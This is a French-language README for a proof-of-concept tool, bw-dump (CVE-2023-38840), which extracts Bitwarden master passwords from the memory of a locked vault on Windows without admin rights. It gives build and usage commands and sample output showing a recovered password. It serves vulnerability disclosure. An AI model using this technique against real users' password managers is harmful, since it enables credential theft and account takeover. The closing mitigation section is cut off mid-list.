
Une preuve de concept pour (CVE-2023-38840) qui extrait les mots de passe maître en clair d'un coffre Bitwarden verrouillé.
Mise à jour 2: Cette vulnérabilité a été attribuée CVE-2023-38840.
Mise à jour: Un correctif a été publié dans la pull request GitHub (5813) qui corrige la vulnérabilité. Les versions concernées sont Bitwarden Desktop 2023.7.0 et inférieures.
Un outil de preuve de concept qui extrait le mot de passe maître d'un coffre Bitwarden verrouillé (doit avoir été déverrouillé au moins une fois) depuis des systèmes Windows. Il ne fonctionne que pour la session en cours, ce qui signifie qu'il ne fonctionnera pas après un redémarrage du système. Les privilèges d'administrateur ne sont PAS requis.
Un blog a été publié et est disponible à l'adresse : https://redmaple.tech/blogs/2023/extract-bitwarden-vault-passwords/
Une courte démonstration de l'utilisation de bw-dump avec Microsoft Edge et l'extension de navigateur Bitwarden. Le dernier outil ne fonctionne que sur Bitwarden Desktop.
https://user-images.githubusercontent.com/9108334/191377244-f0e9a123-e4f0-43b0-90b5-697fc005ae7b.mov
Avertissement: Windows Defender signalera le binaire compilé comme malveillant !
Pour construire un binaire allégé, tapez :
go build -ldflags="-s -w"
Pour construire sur un système Linux, tapez :
env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w"
Il suffit de construire et d'exécuter le binaire. Il ne nécessite PAS de droits d'administration. Assurez-vous que le processus Bitwarden est en cours d'exécution. De plus, le coffre doit avoir été déverrouillé au moins une fois. Après quoi, le mot de passe maître sera stocké en mémoire pendant un certain temps.
Vous pouvez également passer l'option -d pour vider les régions mémoire lorsqu'un motif est trouvé. Pour chaque résultat, un fichier nommé dump-pid-<PID>-<MEM-REGION>.hex est créé dans le répertoire de travail actuel.
Example Output
PS C:\Users\Tester\dev\go\bw-dump> bw-dump.exe
888 88b, Y8b Y8b Y888P 888 88e
888 88P' Y8b Y8b Y8P 888 888b 8888 8888 888 888 8e 888 88e
888 8K Y8b Y8b Y 888 888 8888D 8888 8888 888 888 88b 888 888b
888 88b, Y8b Y8b 888 888P Y888 888P 888 888 888 888 888P
888 88P' Y8P Y 888 88" "88 88" 888 888 888 888 88"
888
Created by @NazMarkuta at Red Maple 888
BW-Dump is a Windows forensics tool that extracts Bitwarden master passwords from locked vaults
(must be unlocked at least once) by reading process memory using Windows API functions which
searches for magic byte patterns. The tool doesn't require any special (admin) permissions.
Now supports Bitwarden Desktop App (v2023.1.1) running on Windows 10 or 11. The tool (may)
still support older Bitwarden Chromium extension versions (v2022.6.0) and below.
[+] Searching for processes...
[+] PID: 4228
[+] EXEName: Bitwarden.exe
[+] CMDLine: "C:\Users\Tester\AppData\Local\Programs\Bitwarden\Bitwarden.exe" --type=renderer --user-data-dir="C:\Users\Tester\AppData\Roaming\Bitwarden" --app-path="C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar" --no-sandbox --no-zygote --first-renderer-process --lang=en-GB --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --time-ticks-at-unix-epoch=-1675782335888921 --launch-time-ticks=4007177473 --mojo-platform-channel-handle=2508 --field-trial-handle=1792,i,3673052334935287551,6849534636950916074,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
[+] Searching PID memory (4228)
[+] Found pattern at MemBaseAddr (0xb0800554000)
[+] Found password prefix bytes at offset (0xc121)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb0800a8c000)
[+] Found password prefix bytes at offset (0x1104)
[!] Invalid offset size, skipping...
[+] Found pattern at MemBaseAddr (0xb08014bc000)
[+] Found password prefix bytes at offset (0x62aa)
[+] Password recovered: "SUPER-SECURE-password8"
PS C:\Users\Tester\dev\go\bw-dump>
Il existe deux façons (probablement plus) de supprimer le mot de passe maître de la mémoire :
Bitwarden.exe, ce qui devrait amener Windows à effectuer un nettoyage de la mémoire.